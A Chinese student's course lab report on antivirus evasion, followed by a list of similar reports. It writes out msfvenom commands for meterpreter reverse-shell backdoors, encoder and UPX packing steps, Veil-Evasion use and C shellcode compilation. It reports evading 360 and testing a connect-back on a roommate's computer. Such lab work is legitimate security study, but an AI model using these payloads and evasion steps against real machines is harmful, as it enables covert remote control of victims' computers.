1.实验要求

  •   1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
  •   1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
  • (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  •   1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2.实验过程

2.1正确使用msf编码器

实验2中生成的20164312_backdoor.exe就是用msfvenom生成的后门程序,直接拉到virstotal上检测一下:

很惨,71个杀软有52个都检测出来了。

tips:我们用msf编码器对后门程序进行一次编码:-e:选择编码器,-i是迭代的次数,-b:是payload中需要去除的字符。因为shellcode以\x00为结束符,所以在-b后面要跟一个\x00

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ LHOST=192.168.192.136 LPORT=4312 -f exe > 20164312_backdoor2.exe

貌似情况好一点了,但是并没有什么大的改善。

2.2 msfvenom生成jar文件

在Linux中写入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x>20164312.jar

将生成的jar文件在virustotal上进行检测:

通过率有一半了,感觉比之前的exe文件要好很多。

2.3 msfvenom生成php文件

在Linux中键入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x> 20164312.php

继续在virustotal上检测:

emmm......这也太恐怖了吧,虽然不知道原理如何,但是实践告诉我php文件是免杀程度最好的。(细思极恐)

2.4 使用veil-evasion生成后门程序及检测

tips:Veil Evasion是一个可执行文件,它被用来生成Metasploit的payload,能绕过常见杀软

在kali Linux中键入apt-get install veil-evasion进行安装(100多M,挺费时间的)

安装成功之后,输入veil,再用use evasion命令进入Evil-Evasion界面:

输入命令use c/meterpreter/rev_tcp.py进入配置界面:

设置反弹连接IP:set LHOST 192.168.181.136   设置端口:set LPORT 4312   输入generate生成文件,接着输入playload的名字::

保存路径:/var/lib/veil/output/compiled/veil_c_4312.exe

这次使用的是virscan检测,因为不知道为什么virustotal出什么毛病了。。。说没有引擎能检测出此文件。

2.5 半手工注入Shellcode并执行

在Linux键入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.136 LPORT=4312 -f c 用c语言生成一段shellcode。

创建一个文件shellcode.c,然后将unsigned char buf[] 拷贝到其中:

使用命令:i686-w64-mingw32-g++ shellcode.c -o shellcode.exe 编译这个shellcode.c文件为可执行文件:

放到virscan上检测:

拷贝到windows上用360软件查杀病毒:

tips:我的360是最新版的,emmm我也不知道为什么这么多木马只能查出来3个,难道说其他的对电脑没威胁?

2.6加压缩壳

在linux中键入upx shellcode.exe  -o 4312.upxed.exe 加个压缩壳,得到4312.upxed.exe:

上传到virscan上检测:

wc,这是什么骚操作,加了壳,反而被更多的杀软查出来了,太优秀了。

呵呵,360依然查不出来。我又把病毒库更新了一下,这次终于能杀出来了,但是360感觉还是不太安全啊:

3.通过组合应用各种技术实现恶意代码免杀

经过上面的一系列操作,我发现veil和c都比较容易实现免杀,但是更新了病毒库的360还是比较稳的,所以我将veil生成的后门程序加上壳以后再进行测试:

生成过程:

查杀结果及360版本号:

发现我给veil再加个壳就可以达到免杀了,测试一下是否可以回弹:

可以完成回弹,nice

但是virscan上结果依然不容乐观。

我在veil中重新选了ruby格式的后门程序:

有些改善,但还是无法实现彻底免杀,勉强维持生活。

发给室友进行免杀测试与回弹:

感觉学到了什么好办法~可以搞室友了。

4.实验总结

4.1.基础问题回答

  (1)杀软是如何检测出恶意代码的?

  1.基于特征码的检测

  2.启发式恶意软件检测

  3.基于行为的恶意软件检测

  (2)免杀是做什么?

  防止被杀毒软件检测出来

  (3)免杀的基本方法有哪些?

  1.改变特征码

  2.加壳

4.2.实践总结与体会

  经过这次自己动手制作软件来免杀,我深刻的体会到光有360是完全不够的,而且平时下载东西的时候不能觉得没被360查出来就是绝对安全的,应该在virscan这种网站上进行一次比较权威的杀毒检查,嗯,以后不能乱下东西了,奇怪的程序要及时删除,不能瞎点程序了。

4.3开启杀软能绝对防止电脑中恶意代码吗?

  事实证明并不能。

Exp3免杀原理与实践 20164312 马孝涛的更多相关文章

  1. Exp2后门原理与实践 20164312马孝涛

    实验内容 使用netcat获取主机操作Shell,cron启动 (0.5分) 使用socat获取主机操作Shell, 任务计划启动 (0.5分) 使用MSF meterpreter(或其他软件)生成可 ...

  2. NetSec2019 20165327 Exp3 免杀原理与实践

    NetSec2019 20165327 Exp3 免杀原理与实践 pre基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清 ...

  3. Exp3 免杀原理与实践_05齐帅

    Exp3 免杀原理与实践 20154305_齐帅 想要弄懂免杀,一定得先把基础问题弄明白啊~~ 一.基础问题回答 (1)杀软是如何检测出恶意代码的? - -检测特征码: 依靠分析总结出计算机病毒中常出 ...

  4. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  5. 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233

    Exp3 免杀原理与实践 实验内容 一.基础问题回答 1.杀软是如何检测出恶意代码的? 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的. 启发式的软件检测:就是根据些片面特征去推断.通常是 ...

  6. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  7. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  8. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  9. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

随机推荐

  1. 2018-05-17-OAA-一种mermaid脚本驱动的软件项目模块图形化表述思路

    layout: post title: 2018-05-17-OAA-一种mermaid脚本驱动的软件项目模块图形化表述思路 key: 20180517 tags: OAA flow chart se ...

  2. SSM-Spring-10:Spring中cglib动态代理

    ------------吾亦无他,唯手熟尔,谦卑若愚,好学若饥------------- 何为动态代理,就不扯皮了,上一篇博客刚刚提到,那cglib动态代理又怎么写,我拿个和上个例子相似的案例来写 具 ...

  3. swoft 源码解读【转】

      官网: https://www.swoft.org/ 源码解读: http://naotu.baidu.com/file/814e81c9781b733e04218ac7a0494e2a?toke ...

  4. js算法初窥02(排序算法02-归并、快速以及堆排序)

    上一篇,我们讲述了一些简单的排序算法,其实说到底,在前端的职业生涯中,不涉及node.不涉及后台的情况下,我目前还真的没想到有哪些地方可以用到这些数据结构和算法,但是我在前面的文章也说过了.或许你用不 ...

  5. Mybatis Generator生成数据库自带的中文注释

    1.相关jar包 <!-- mybatis生成 jar包 --> <dependency> <groupId>org.mybatis.generator</g ...

  6. 文件上传--基于Spring MVC框架+SmartUpload

    这篇文章是介绍文件上传的,由于在spring MVC上实现起来和直接在servlet中写有些不同,所以特地写了一下这篇文章,关于不同点,大家可以先阅读一下上一篇文章.好了,下面直接上代码. jab包是 ...

  7. Ubuntu常用命令总结

    1. Ubuntu切换到root用户的方法 sudo su or sudo -i 退出root用户 exit 2. mv:移动文件或文件夹 移动文件和文件夹只有只有四种可能: 文件移动到文件(文件重命 ...

  8. 错误:编码GBK的不可映射字符

    当Java源代码中包含中文字符时,我们在用javac编译时会出现"错误:编码GBK的不可映射字符". 由于JDK是国际版的,我们在用javac编译时,编译程序首先会获得我们操作系统 ...

  9. I/O-----字符输入流

    今天学习了字符流  ,果不其然又和以前的搞混了 package io.day04; import java.io.FileReader; import java.io.FileWriter; impo ...

  10. BZOJ_4378_[POI2015]Logistyka_树状数组

    BZOJ_4378_[POI2015]Logistyka_树状数组 Description 维护一个长度为n的序列,一开始都是0,支持以下两种操作: 1.U k a 将序列中第k个数修改为a. 2.Z ...